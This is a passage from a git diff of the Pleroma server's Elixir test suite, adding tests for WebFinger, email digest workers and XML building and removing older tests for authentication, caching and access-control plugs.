apply(HttpRequestMock, :request, [env]) end) + :ok + end + + setup_all do: clear_config([:instance, :federating], true) + + test "GET host-meta" do + response = + build_conn() + |> get("/.well-known/host-meta") + + assert response.status == 200 + + assert response.resp_body == + ~s(<?xml version="1.0" encoding="UTF-8"?><XRD xmlns="http://docs.oasis-open.org/ns/xri/xrd-1.0"><Link rel="lrdd" template="#{ + Pleroma.Web.base_url() + }/.well-known/webfinger?resource={uri}" type="application/xrd+xml" /></XRD>) + end + + test "Webfinger JRD" do + user = insert(:user) + + response = + build_conn() + |> put_req_header("accept", "application/jrd+json") + |> get("/.well-known/webfinger?resource=acct:#{user.nickname}@localhost") + + assert json_response(response, 200)["subject"] == "acct:#{user.nickname}@localhost" + end + + test "it returns 404 when user isn't found (JSON)" do + result = + build_conn() + |> put_req_header("accept", "application/jrd+json") + |> get("/.well-known/webfinger?resource=acct:jimm@localhost") + |> json_response(404) + + assert result == "Couldn't find user" + end + + test "Webfinger XML" do + user = insert(:user) + + response = + build_conn() + |> put_req_header("accept", "application/xrd+xml") + |> get("/.well-known/webfinger?resource=acct:#{user.nickname}@localhost") + + assert response(response, 200) + end + + test "it returns 404 when user isn't found (XML)" do + result = + build_conn() + |> put_req_header("accept", "application/xrd+xml") + |> get("/.well-known/webfinger?resource=acct:jimm@localhost") + |> response(404) + + assert result == "Couldn't find user" + end + + test "Sends a 404 when invalid format" do + user = insert(:user) + + assert capture_log(fn -> + assert_raise Phoenix.NotAcceptableError, fn -> + build_conn() + |> put_req_header("accept", "text/html") + |> get("/.well-known/webfinger?resource=acct:#{user.nickname}@localhost") + end + end) =~ "no supported media type in accept header" + end + + test "Sends a 400 when resource param is missing" do + response = + build_conn() + |> put_req_header("accept", "application/xrd+xml,application/jrd+json") + |> get("/.well-known/webfinger") + + assert response(response, 400) + end +end diff --git a/test/pleroma/web/web_finger_test.exs b/test/pleroma/web/web_finger_test.exs new file mode 100644 index 000000000..96fc0bbaa --- /dev/null +++ b/test/pleroma/web/web_finger_test.exs @@ -0,0 +1,116 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.WebFingerTest do + use Pleroma.DataCase + alias Pleroma.Web.WebFinger + import Pleroma.Factory + import Tesla.Mock + + setup do + mock(fn env -> apply(HttpRequestMock, :request, [env]) end) + :ok + end + + describe "host meta" do + test "returns a link to the xml lrdd" do + host_info = WebFinger.host_meta() + + assert String.contains?(host_info, Pleroma.Web.base_url()) + end + end + + describe "incoming webfinger request" do + test "works for fqns" do + user = insert(:user) + + {:ok, result} = + WebFinger.webfinger("#{user.nickname}@#{Pleroma.Web.Endpoint.host()}", "XML") + + assert is_binary(result) + end + + test "works for ap_ids" do + user = insert(:user) + + {:ok, result} = WebFinger.webfinger(user.ap_id, "XML") + assert is_binary(result) + end + end + + describe "fingering" do + test "returns error for nonsensical input" do + assert {:error, _} = WebFinger.finger("bliblablu") + assert {:error, _} = WebFinger.finger("pleroma.social") + end + + test "returns error when fails parse xml or json" do + user = "invalid_content@social.heldscal.la" + assert {:error, %Jason.DecodeError{}} = WebFinger.finger(user) + end + + test "returns the ActivityPub actor URI for an ActivityPub user" do + user = "framasoft@framatube.org" + + {:ok, _data} = WebFinger.finger(user) + end + + test "returns the ActivityPub actor URI for an ActivityPub user with the ld+json mimetype" do + user = "kaniini@gerzilla.de" + + {:ok, data} = WebFinger.finger(user) + + assert data["ap_id"] == "https://gerzilla.de/channel/kaniini" + end + + test "it work for AP-only user" do + user = "kpherox@mstdn.jp" + + {:ok, data} = WebFinger.finger(user) + + assert data["magic_key"] == nil + assert data["salmon"] == nil + + assert data["topic"] == nil + assert data["subject"] == "acct:kPherox@mstdn.jp" + assert data["ap_id"] == "https://mstdn.jp/users/kPherox" + assert data["subscribe_address"] == "https://mstdn.jp/authorize_interaction?acct={uri}" + end + + test "it works for friendica" do + user = "lain@squeet.me" + + {:ok, _data} = WebFinger.finger(user) + end + + test "it gets the xrd endpoint" do + {:ok, template} = WebFinger.find_lrdd_template("social.heldscal.la") + + assert template == "https://social.heldscal.la/.well-known/webfinger?resource={uri}" + end + + test "it gets the xrd endpoint for hubzilla" do + {:ok, template} = WebFinger.find_lrdd_template("macgirvin.com") + + assert template == "https://macgirvin.com/xrd/?uri={uri}" + end + + test "it gets the xrd endpoint for statusnet" do + {:ok, template} = WebFinger.find_lrdd_template("status.alpicola.com") + + assert template == "http://status.alpicola.com/main/xrd?uri={uri}" + end + + test "it works with idna domains as nickname" do + nickname = "lain@" <> to_string(:idna.encode("zetsubou.みんな")) + + {:ok, _data} = WebFinger.finger(nickname) + end + + test "it works with idna domains as link" do + ap_id = "https://" <> to_string(:idna.encode("zetsubou.みんな")) <> "/users/lain" + {:ok, _data} = WebFinger.finger(ap_id) + end + end +end diff --git a/test/pleroma/workers/cron/digest_emails_worker_test.exs b/test/pleroma/workers/cron/digest_emails_worker_test.exs new file mode 100644 index 000000000..65887192e --- /dev/null +++ b/test/pleroma/workers/cron/digest_emails_worker_test.exs @@ -0,0 +1,54 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Workers.Cron.DigestEmailsWorkerTest do + use Pleroma.DataCase + + import Pleroma.Factory + + alias Pleroma.Tests.ObanHelpers + alias Pleroma.User + alias Pleroma.Web.CommonAPI + + setup do: clear_config([:email_notifications, :digest]) + + setup do + Pleroma.Config.put([:email_notifications, :digest], %{ + active: true, + inactivity_threshold: 7, + interval: 7 + }) + + user = insert(:user) + + date = + Timex.now() + |> Timex.shift(days: -10) + |> Timex.to_naive_datetime() + + user2 = insert(:user, last_digest_emailed_at: date) + {:ok, _} = User.switch_email_notifications(user2, "digest", true) + CommonAPI.post(user, %{status: "hey @#{user2.nickname}!"}) + + {:ok, user2: user2} + end + + test "it sends digest emails", %{user2: user2} do + Pleroma.Workers.Cron.DigestEmailsWorker.perform(%Oban.Job{}) + # Performing job(s) enqueued at previous step + ObanHelpers.perform_all() + + assert_received {:email, email} + assert email.to == [{user2.name, user2.email}] + assert email.subject == "Your digest from #{Pleroma.Config.get(:instance)[:name]}" + end + + test "it doesn't fail when a user has no email", %{user2: user2} do + {:ok, _} = user2 |> Ecto.Changeset.change(%{email: nil}) |> Pleroma.Repo.update() + + Pleroma.Workers.Cron.DigestEmailsWorker.perform(%Oban.Job{}) + # Performing job(s) enqueued at previous step + ObanHelpers.perform_all() + end +end diff --git a/test/pleroma/workers/cron/new_users_digest_worker_test.exs b/test/pleroma/workers/cron/new_users_digest_worker_test.exs new file mode 100644 index 000000000..129534cb1 --- /dev/null +++ b/test/pleroma/workers/cron/new_users_digest_worker_test.exs @@ -0,0 +1,45 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Workers.Cron.NewUsersDigestWorkerTest do + use Pleroma.DataCase + import Pleroma.Factory + + alias Pleroma.Tests.ObanHelpers + alias Pleroma.Web.CommonAPI + alias Pleroma.Workers.Cron.NewUsersDigestWorker + + test "it sends new users digest emails" do + yesterday = NaiveDateTime.utc_now() |> Timex.shift(days: -1) + admin = insert(:user, %{is_admin: true}) + user = insert(:user, %{inserted_at: yesterday}) + user2 = insert(:user, %{inserted_at: yesterday}) + CommonAPI.post(user, %{status: "cofe"}) + + NewUsersDigestWorker.perform(%Oban.Job{}) + ObanHelpers.perform_all() + + assert_received {:email, email} + assert email.to == [{admin.name, admin.email}] + assert email.subject == "#{Pleroma.Config.get([:instance, :name])} New Users" + + refute email.html_body =~ admin.nickname + assert email.html_body =~ user.nickname + assert email.html_body =~ user2.nickname + assert email.html_body =~ "cofe" + assert email.html_body =~ "#{Pleroma.Web.Endpoint.url()}/static/logo.png" + end + + test "it doesn't fail when admin has no email" do + yesterday = NaiveDateTime.utc_now() |> Timex.shift(days: -1) + insert(:user, %{is_admin: true, email: nil}) + insert(:user, %{inserted_at: yesterday}) + user = insert(:user, %{inserted_at: yesterday}) + + CommonAPI.post(user, %{status: "cofe"}) + + NewUsersDigestWorker.perform(%Oban.Job{}) + ObanHelpers.perform_all() + end +end diff --git a/test/pleroma/workers/scheduled_activity_worker_test.exs b/test/pleroma/workers/scheduled_activity_worker_test.exs new file mode 100644 index 000000000..f3eddf7b1 --- /dev/null +++ b/test/pleroma/workers/scheduled_activity_worker_test.exs @@ -0,0 +1,49 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Workers.ScheduledActivityWorkerTest do + use Pleroma.DataCase + + alias Pleroma.ScheduledActivity + alias Pleroma.Workers.ScheduledActivityWorker + + import Pleroma.Factory + import ExUnit.CaptureLog + + setup do: clear_config([ScheduledActivity, :enabled]) + + test "creates a status from the scheduled activity" do + Pleroma.Config.put([ScheduledActivity, :enabled], true) + user = insert(:user) + + naive_datetime = + NaiveDateTime.add( + NaiveDateTime.utc_now(), + -:timer.minutes(2), + :millisecond + ) + + scheduled_activity = + insert( + :scheduled_activity, + scheduled_at: naive_datetime, + user: user, + params: %{status: "hi"} + ) + + ScheduledActivityWorker.perform(%Oban.Job{args: %{"activity_id" => scheduled_activity.id}}) + + refute Repo.get(ScheduledActivity, scheduled_activity.id) + activity = Repo.all(Pleroma.Activity) |> Enum.find(&(&1.actor == user.ap_id)) + assert Pleroma.Object.normalize(activity).data["content"] == "hi" + end + + test "adds log message if ScheduledActivity isn't find" do + Pleroma.Config.put([ScheduledActivity, :enabled], true) + + assert capture_log([level: :error], fn -> + ScheduledActivityWorker.perform(%Oban.Job{args: %{"activity_id" => 42}}) + end) =~ "Couldn't find scheduled activity" + end +end diff --git a/test/pleroma/xml_builder_test.exs b/test/pleroma/xml_builder_test.exs new file mode 100644 index 000000000..059384c34 --- /dev/null +++ b/test/pleroma/xml_builder_test.exs @@ -0,0 +1,65 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.XmlBuilderTest do + use Pleroma.DataCase + alias Pleroma.XmlBuilder + + test "Build a basic xml string from a tuple" do + data = {:feed, %{xmlns: "http://www.w3.org/2005/Atom"}, "Some content"} + + expected_xml = "<feed xmlns=\"http://www.w3.org/2005/Atom\">Some content</feed>" + + assert XmlBuilder.to_xml(data) == expected_xml + end + + test "returns a complete document" do + data = {:feed, %{xmlns: "http://www.w3.org/2005/Atom"}, "Some content"} + + expected_xml = + "<?xml version=\"1.0\" encoding=\"UTF-8\"?><feed xmlns=\"http://www.w3.org/2005/Atom\">Some content</feed>" + + assert XmlBuilder.to_doc(data) == expected_xml + end + + test "Works without attributes" do + data = { + :feed, + "Some content" + } + + expected_xml = "<feed>Some content</feed>" + + assert XmlBuilder.to_xml(data) == expected_xml + end + + test "It works with nested tuples" do + data = { + :feed, + [ + {:guy, "brush"}, + {:lament, %{configuration: "puzzle"}, "pinhead"} + ] + } + + expected_xml = + ~s[<feed><guy>brush</guy><lament configuration="puzzle">pinhead</lament></feed>] + + assert XmlBuilder.to_xml(data) == expected_xml + end + + test "Represents NaiveDateTime as iso8601" do + assert XmlBuilder.to_xml(~N[2000-01-01 13:13:33]) == "2000-01-01T13:13:33" + end + + test "Uses self-closing tags when no content is giving" do + data = { + :link, + %{rel: "self"} + } + + expected_xml = ~s[<link rel="self" />] + assert XmlBuilder.to_xml(data) == expected_xml + end +end diff --git a/test/plugs/admin_secret_authentication_plug_test.exs b/test/plugs/admin_secret_authentication_plug_test.exs deleted file mode 100644 index 14094eda8..000000000 --- a/test/plugs/admin_secret_authentication_plug_test.exs +++ /dev/null @@ -1,75 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Plugs.AdminSecretAuthenticationPlugTest do - use Pleroma.Web.ConnCase - - import Mock - import Pleroma.Factory - - alias Pleroma.Plugs.AdminSecretAuthenticationPlug - alias Pleroma.Plugs.OAuthScopesPlug - alias Pleroma.Plugs.PlugHelper - alias Pleroma.Plugs.RateLimiter - - test "does nothing if a user is assigned", %{conn: conn} do - user = insert(:user) - - conn = - conn - |> assign(:user, user) - - ret_conn = - conn - |> AdminSecretAuthenticationPlug.call(%{}) - - assert conn == ret_conn - end - - describe "when secret set it assigns an admin user" do - setup do: clear_config([:admin_token]) - - setup_with_mocks([{RateLimiter, [:passthrough], []}]) do - :ok - end - - test "with `admin_token` query parameter", %{conn: conn} do - Pleroma.Config.put(:admin_token, "password123") - - conn = - %{conn | params: %{"admin_token" => "wrong_password"}} - |> AdminSecretAuthenticationPlug.call(%{}) - - refute conn.assigns[:user] - assert called(RateLimiter.call(conn, name: :authentication)) - - conn = - %{conn | params: %{"admin_token" => "password123"}} - |> AdminSecretAuthenticationPlug.call(%{}) - - assert conn.assigns[:user].is_admin - assert PlugHelper.plug_skipped?(conn, OAuthScopesPlug) - end - - test "with `x-admin-token` HTTP header", %{conn: conn} do - Pleroma.Config.put(:admin_token, "☕️") - - conn = - conn - |> put_req_header("x-admin-token", "🥛") - |> AdminSecretAuthenticationPlug.call(%{}) - - refute conn.assigns[:user] - assert called(RateLimiter.call(conn, name: :authentication)) - - conn = - conn - |> put_req_header("x-admin-token", "☕️") - |> AdminSecretAuthenticationPlug.call(%{}) - - assert conn.assigns[:user].is_admin - assert PlugHelper.plug_skipped?(conn, OAuthScopesPlug) - end - end -end diff --git a/test/plugs/authentication_plug_test.exs b/test/plugs/authentication_plug_test.exs deleted file mode 100644 index 777ae15ae..000000000 --- a/test/plugs/authentication_plug_test.exs +++ /dev/null @@ -1,125 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Plugs.AuthenticationPlugTest do - use Pleroma.Web.ConnCase, async: true - - alias Pleroma.Plugs.AuthenticationPlug - alias Pleroma.Plugs.OAuthScopesPlug - alias Pleroma.Plugs.PlugHelper - alias Pleroma.User - - import ExUnit.CaptureLog - import Pleroma.Factory - - setup %{conn: conn} do - user = %User{ - id: 1, - name: "dude", - password_hash: Pbkdf2.hash_pwd_salt("guy") - } - - conn = - conn - |> assign(:auth_user, user) - - %{user: user, conn: conn} - end - - test "it does nothing if a user is assigned", %{conn: conn} do - conn = - conn - |> assign(:user, %User{}) - - ret_conn = - conn - |> AuthenticationPlug.call(%{}) - - assert ret_conn == conn - end - - test "with a correct password in the credentials, " <> - "it assigns the auth_user and marks OAuthScopesPlug as skipped", - %{conn: conn} do - conn = - conn - |> assign(:auth_credentials, %{password: "guy"}) - |> AuthenticationPlug.call(%{}) - - assert conn.assigns.user == conn.assigns.auth_user - assert PlugHelper.plug_skipped?(conn, OAuthScopesPlug) - end - - test "with a bcrypt hash, it updates to a pkbdf2 hash", %{conn: conn} do - user = insert(:user, password_hash: Bcrypt.hash_pwd_salt("123")) - assert "$2" <> _ = user.password_hash - - conn = - conn - |> assign(:auth_user, user) - |> assign(:auth_credentials, %{password: "123"}) - |> AuthenticationPlug.call(%{}) - - assert conn.assigns.user.id == conn.assigns.auth_user.id - assert PlugHelper.plug_skipped?(conn, OAuthScopesPlug) - - user = User.get_by_id(user.id) - assert "$pbkdf2" <> _ = user.password_hash - end - - @tag :skip_on_mac - test "with a crypt hash, it updates to a pkbdf2 hash", %{conn: conn} do - user = - insert(:user, - password_hash: - "$6$9psBWV8gxkGOZWBz$PmfCycChoxeJ3GgGzwvhlgacb9mUoZ.KUXNCssekER4SJ7bOK53uXrHNb2e4i8yPFgSKyzaW9CcmrDXWIEMtD1" - ) - - conn = - conn - |> assign(:auth_user, user) - |> assign(:auth_credentials, %{password: "password"}) - |> AuthenticationPlug.call(%{}) - - assert conn.assigns.user.id == conn.assigns.auth_user.id - assert PlugHelper.plug_skipped?(conn, OAuthScopesPlug) - - user = User.get_by_id(user.id) - assert "$pbkdf2" <> _ = user.password_hash - end - - describe "checkpw/2" do - test "check pbkdf2 hash" do - hash = - "$pbkdf2-sha512$160000$loXqbp8GYls43F0i6lEfIw$AY.Ep.2pGe57j2hAPY635sI/6w7l9Q9u9Bp02PkPmF3OrClDtJAI8bCiivPr53OKMF7ph6iHhN68Rom5nEfC2A" - - assert AuthenticationPlug.checkpw("test-password", hash) - refute AuthenticationPlug.checkpw("test-password1", hash) - end - - @tag :skip_on_mac - test "check sha512-crypt hash" do - hash = - "$6$9psBWV8gxkGOZWBz$PmfCycChoxeJ3GgGzwvhlgacb9mUoZ.KUXNCssekER4SJ7bOK53uXrHNb2e4i8yPFgSKyzaW9CcmrDXWIEMtD1" - - assert AuthenticationPlug.checkpw("password", hash) - end - - test "check bcrypt hash" do - hash = "$2a$10$uyhC/R/zoE1ndwwCtMusK.TLVzkQ/Ugsbqp3uXI.CTTz0gBw.24jS" - - assert AuthenticationPlug.checkpw("password", hash) - refute AuthenticationPlug.checkpw("password1", hash) - end - - test "it returns false when hash invalid" do - hash = - "psBWV8gxkGOZWBz$PmfCycChoxeJ3GgGzwvhlgacb9mUoZ.KUXNCssekER4SJ7bOK53uXrHNb2e4i8yPFgSKyzaW9CcmrDXWIEMtD1" - - assert capture_log(fn -> - refute Pleroma.Plugs.AuthenticationPlug.checkpw("password", hash) - end) =~ "[error] Password hash not recognized" - end - end -end diff --git a/test/plugs/basic_auth_decoder_plug_test.exs b/test/plugs/basic_auth_decoder_plug_test.exs deleted file mode 100644 index a6063d4f6..000000000 --- a/test/plugs/basic_auth_decoder_plug_test.exs +++ /dev/null @@ -1,35 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Plugs.BasicAuthDecoderPlugTest do - use Pleroma.Web.ConnCase, async: true - - alias Pleroma.Plugs.BasicAuthDecoderPlug - - defp basic_auth_enc(username, password) do - "Basic " <> Base.encode64("#{username}:#{password}") - end - - test "it puts the decoded credentials into the assigns", %{conn: conn} do - header = basic_auth_enc("moonman", "iloverobek") - - conn = - conn - |> put_req_header("authorization", header) - |> BasicAuthDecoderPlug.call(%{}) - - assert conn.assigns[:auth_credentials] == %{ - username: "moonman", - password: "iloverobek" - } - end - - test "without a authorization header it doesn't do anything", %{conn: conn} do - ret_conn = - conn - |> BasicAuthDecoderPlug.call(%{}) - - assert conn == ret_conn - end -end diff --git a/test/plugs/cache_control_test.exs b/test/plugs/cache_control_test.exs deleted file mode 100644 index 6b567e81d..000000000 --- a/test/plugs/cache_control_test.exs +++ /dev/null @@ -1,20 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.CacheControlTest do - use Pleroma.Web.ConnCase - alias Plug.Conn - - test "Verify Cache-Control header on static assets", %{conn: conn} do - conn = get(conn, "/index.html") - - assert Conn.get_resp_header(conn, "cache-control") == ["public, no-cache"] - end - - test "Verify Cache-Control header on the API", %{conn: conn} do - conn = get(conn, "/api/v1/instance") - - assert Conn.get_resp_header(conn, "cache-control") == ["max-age=0, private, must-revalidate"] - end -end diff --git a/test/plugs/cache_test.exs b/test/plugs/cache_test.exs deleted file mode 100644 index 8b231c881..000000000 --- a/test/plugs/cache_test.exs +++ /dev/null @@ -1,186 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Plugs.CacheTest do - use ExUnit.Case, async: true - use Plug.Test - - alias Pleroma.Plugs.Cache - - @miss_resp {200, - [ - {"cache-control", "max-age=0, private, must-revalidate"}, - {"content-type", "cofe/hot; charset=utf-8"}, - {"x-cache", "MISS from Pleroma"} - ], "cofe"} - - @hit_resp {200, - [ - {"cache-control", "max-age=0, private, must-revalidate"}, - {"content-type", "cofe/hot; charset=utf-8"}, - {"x-cache", "HIT from Pleroma"} - ], "cofe"} - - @ttl 5 - - setup do - Cachex.clear(:web_resp_cache) - :ok - end - - test "caches a response" do - assert @miss_resp == - conn(:get, "/") - |> Cache.call(%{query_params: false, ttl: nil}) - |> put_resp_content_type("cofe/hot") - |> send_resp(:ok, "cofe") - |> sent_resp() - - assert_raise(Plug.Conn.AlreadySentError, fn -> - conn(:get, "/") - |> Cache.call(%{query_params: false, ttl: nil}) - |> put_resp_content_type("cofe/hot") - |> send_resp(:ok, "cofe") - |> sent_resp() - end) - - assert @hit_resp == - conn(:get, "/") - |> Cache.call(%{query_params: false, ttl: nil}) - |> sent_resp() - end - - test "ttl is set" do - assert @miss_resp == - conn(:get, "/") - |> Cache.call(%{query_params: false, ttl: @ttl}) - |> put_resp_content_type("cofe/hot") - |> send_resp(:ok, "cofe") - |> sent_resp() - - assert @hit_resp == - conn(:get, "/") - |> Cache.call(%{query_params: false, ttl: @ttl}) - |> sent_resp() - - :timer.sleep(@ttl + 1) - - assert @miss_resp == - conn(:get, "/") - |> Cache.call(%{query_params: false, ttl: @ttl}) - |> put_resp_content_type("cofe/hot") - |> send_resp(:ok, "cofe") - |> sent_resp() - end - - test "set ttl via conn.assigns" do - assert @miss_resp == - conn(:get, "/") - |> Cache.call(%{query_params: false, ttl: nil}) - |> put_resp_content_type("cofe/hot") - |> assign(:cache_ttl, @ttl) - |> send_resp(:ok, "cofe") - |> sent_resp() - - assert @hit_resp == - conn(:get, "/") - |> Cache.call(%{query_params: false, ttl: nil}) - |> sent_resp() - - :timer.sleep(@ttl + 1) - - assert @miss_resp == - conn(:get, "/") - |> Cache.call(%{query_params: false, ttl: nil}) - |> put_resp_content_type("cofe/hot") - |> send_resp(:ok, "cofe") - |> sent_resp() - end - - test "ignore query string when `query_params` is false" do - assert @miss_resp == - conn(:get, "/?cofe") - |> Cache.call(%{query_params: false, ttl: nil}) - |> put_resp_content_type("cofe/hot") - |> send_resp(:ok, "cofe") - |> sent_resp() - - assert @hit_resp == - conn(:get, "/?cofefe") - |> Cache.call(%{query_params: false, ttl: nil}) - |> sent_resp() - end - - test "take query string into account when `query_params` is true" do - assert @miss_resp == - conn(:get, "/?cofe") - |> Cache.call(%{query_params: true, ttl: nil}) - |> put_resp_content_type("cofe/hot") - |> send_resp(:ok, "cofe") - |> sent_resp() - - assert @miss_resp == - conn(:get, "/?cofefe") - |> Cache.call(%{query_params: true, ttl: nil}) - |> put_resp_content_type("cofe/hot") - |> send_resp(:ok, "cofe") - |> sent_resp() - end - - test "take specific query params into account when `query_params` is list" do - assert @miss_resp == - conn(:get, "/?a=1&b=2&c=3&foo=bar") - |> fetch_query_params() - |> Cache.call(%{query_params: ["a", "b", "c"], ttl: nil}) - |> put_resp_content_type("cofe/hot") - |> send_resp(:ok, "cofe") - |> sent_resp() - - assert @hit_resp == - conn(:get, "/?bar=foo&c=3&b=2&a=1") - |> fetch_query_params() - |> Cache.call(%{query_params: ["a", "b", "c"], ttl: nil}) - |> sent_resp() - - assert @miss_resp == - conn(:get, "/?bar=foo&c=3&b=2&a=2") - |> fetch_query_params() - |> Cache.call(%{query_params: ["a", "b", "c"], ttl: nil}) - |> put_resp_content_type("cofe/hot") - |> send_resp(:ok, "cofe") - |> sent_resp() - end - - test "ignore not GET requests" do - expected = - {200, - [ - {"cache-control", "max-age=0, private, must-revalidate"}, - {"content-type", "cofe/hot; charset=utf-8"} - ], "cofe"} - - assert expected == - conn(:post, "/") - |> Cache.call(%{query_params: true, ttl: nil}) - |> put_resp_content_type("cofe/hot") - |> send_resp(:ok, "cofe") - |> sent_resp() - end - - test "ignore non-successful responses" do - expected = - {418, - [ - {"cache-control", "max-age=0, private, must-revalidate"}, - {"content-type", "tea/iced; charset=utf-8"} - ], "🥤"} - - assert expected == - conn(:get, "/cofe") - |> Cache.call(%{query_params: true, ttl: nil}) - |> put_resp_content_type("tea/iced") - |> send_resp(:im_a_teapot, "🥤") - |> sent_resp() - end -end diff --git a/test/plugs/ensure_authenticated_plug_test.exs b/test/plugs/ensure_authenticated_plug_test.exs deleted file mode 100644 index a0667c5e0..000000000 --- a/test/plugs/ensure_authenticated_plug_test.exs +++ /dev/null @@ -1,96 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Plugs.EnsureAuthenticatedPlugTest do - use Pleroma.Web.ConnCase, async: true - - alias Pleroma.Plugs.EnsureAuthenticatedPlug - alias Pleroma.User - - describe "without :if_func / :unless_func options" do - test "it halts if user is NOT assigned", %{conn: conn} do - conn = EnsureAuthenticatedPlug.call(conn, %{}) - - assert conn.status == 403 - assert conn.halted == true - end - - test "it continues if a user is assigned", %{conn: conn} do - conn = assign(conn, :user, %User{}) - ret_conn = EnsureAuthenticatedPlug.call(conn, %{}) - - refute ret_conn.halted - end - end - - test "it halts if user is assigned and MFA enabled", %{conn: conn} do - conn = - conn - |> assign(:user, %User{multi_factor_authentication_settings: %{enabled: true}}) - |> assign(:auth_credentials, %{password: "xd-42"}) - |> EnsureAuthenticatedPlug.call(%{}) - - assert conn.status == 403 - assert conn.halted == true - - assert conn.resp_body == - "{\"error\":\"Two-factor authentication enabled, you must use a access token.\"}" - end - - test "it continues if user is assigned and MFA disabled", %{conn: conn} do - conn = - conn - |> assign(:user, %User{multi_factor_authentication_settings: %{enabled: false}}) - |> assign(:auth_credentials, %{password: "xd-42"}) - |> EnsureAuthenticatedPlug.call(%{}) - - refute conn.status == 403 - refute conn.halted - end - - describe "with :if_func / :unless_func options" do - setup do - %{ - true_fn: fn _conn -> true end, - false_fn: fn _conn -> false end - } - end - - test "it continues if a user is assigned", %{conn: conn, true_fn: true_fn, false_fn: false_fn} do - conn = assign(conn, :user, %User{}) - refute EnsureAuthenticatedPlug.call(conn, if_func: true_fn).halted - refute EnsureAuthenticatedPlug.call(conn, if_func: false_fn).halted - refute EnsureAuthenticatedPlug.call(conn, unless_func: true_fn).halted - refute EnsureAuthenticatedPlug.call(conn, unless_func: false_fn).halted - end - - test "it continues if a user is NOT assigned but :if_func evaluates to `false`", - %{conn: conn, false_fn: false_fn} do - ret_conn = EnsureAuthenticatedPlug.call(conn, if_func: false_fn) - refute ret_conn.halted - end - - test "it continues if a user is NOT assigned but :unless_func evaluates to `true`", - %{conn: conn, true_fn: true_fn} do - ret_conn = EnsureAuthenticatedPlug.call(conn, unless_func: true_fn) - refute ret_conn.halted - end - - test "it halts if a user is NOT assigned and :if_func evaluates to `true`", - %{conn: conn, true_fn: true_fn} do - conn = EnsureAuthenticatedPlug.call(conn, if_func: true_fn) - - assert conn.status == 403 - assert conn.halted == true - end - - test "it halts if a user is NOT assigned and :unless_func evaluates to `false`", - %{conn: conn, false_fn: false_fn} do - conn = EnsureAuthenticatedPlug.call(conn, unless_func: false_fn) - - assert conn.status == 403 - assert conn.halted == true - end - end -end diff --git a/test/plugs/ensure_public_or_authenticated_plug_test.exs b/test/plugs/ensure_public_or_authenticated_plug_test.exs deleted file mode 100644 index fc2934369..000000000 --- a/test/plugs/ensure_public_or_authenticated_plug_test.exs +++ /dev/null @@ -1,48 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Plugs.EnsurePublicOrAuthenticatedPlugTest do - use Pleroma.Web.ConnCase, async: true - - alias Pleroma.Config - alias Pleroma.Plugs.EnsurePublicOrAuthenticatedPlug - alias Pleroma.User - - setup do: clear_config([:instance, :public]) - - test "it halts if not public and no user is assigned", %{conn: conn} do - Config.put([:instance, :public], false) - - conn = - conn - |> EnsurePublicOrAuthenticatedPlug.call(%{}) - - assert conn.status == 403 - assert conn.halted == true - end - - test "it continues if public", %{conn: conn} do - Config.put([:instance, :public], true) - - ret_conn = - conn - |> EnsurePublicOrAuthenticatedPlug.call(%{}) - - refute ret_conn.halted - end - - test "it continues if a user is assigned, even if not public", %{conn: conn} do - Config.put([:instance, :public], false) - - conn = - conn - |> assign(:user, %User{}) - - ret_conn = - conn - |> EnsurePublicOrAuthenticatedPlug.call(%{}) - - refute ret_conn.halted - end -end diff --git a/test/plugs/ensure_user_key_plug_test.exs b/test/plugs/ensure_user_key_plug_test.exs deleted file mode 100644 index 633c05447..000000000 --- a/test/plugs/ensure_user_key_plug_test.exs +++ /dev/null @@ -1,29 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Plugs.EnsureUserKeyPlugTest do - use Pleroma.Web.ConnCase, async: true - - alias Pleroma.Plugs.EnsureUserKeyPlug - - test "if the conn has a user key set, it does nothing", %{conn: conn} do - conn = - conn - |> assign(:user, 1) - - ret_conn = - conn - |> EnsureUserKeyPlug.call(%{}) - - assert conn == ret_conn - end - - test "if the conn has no key set, it sets it to nil", %{conn: conn} do - conn = - conn - |> EnsureUserKeyPlug.call(%{}) - - assert Map.has_key?(conn.assigns, :user) - end -end diff --git a/test/plugs/http_security_plug_test.exs b/test/plugs/http_security_plug_test.exs deleted file mode 100644 index 2297e3dac..000000000 --- a/test/plugs/http_security_plug_test.exs +++ /dev/null @@ -1,140 +0,0 @@ -# Pleroma: A lightweight social 